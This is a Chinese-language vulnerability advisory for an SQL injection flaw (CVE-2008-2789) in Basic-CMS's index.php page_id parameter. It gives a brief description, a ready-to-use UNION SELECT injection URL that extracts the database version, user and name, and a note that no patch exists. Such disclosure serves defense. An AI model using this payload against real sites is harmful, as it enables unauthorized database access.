当前位置： 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

Basic-CMS \'index.php\' SQL注入漏洞

     发表日期：2014-12-08 13:35:12

Basic-CMS \'index.php\' SQL注入漏洞

BugTraq-ID:29771

CVE-ID:CVE-2008-2789

发布日期：2008-06-17

更新日期：2008-06-17

受影响系统：

Basic-CMS Basic-CMS

详细信息：

Basic-CMS是基本的网页内容管理系统。 Basic-CMS在实现上存在sql注入漏洞，远程攻击者通过page_id参数，利用此漏洞可执行任意sql命令。

来源：

Mr.SQL

测试方法：

警告以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！http://www.example.com/pages/index.php?r=&page_id=-74+union+select+1,1,1,convert(concat_ws(0x2F2A2A2F,version(),current_user,database())+using+latin1),1,1--

解决办法：

厂商补丁：

Basic-CMS

---------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.simplecms.com/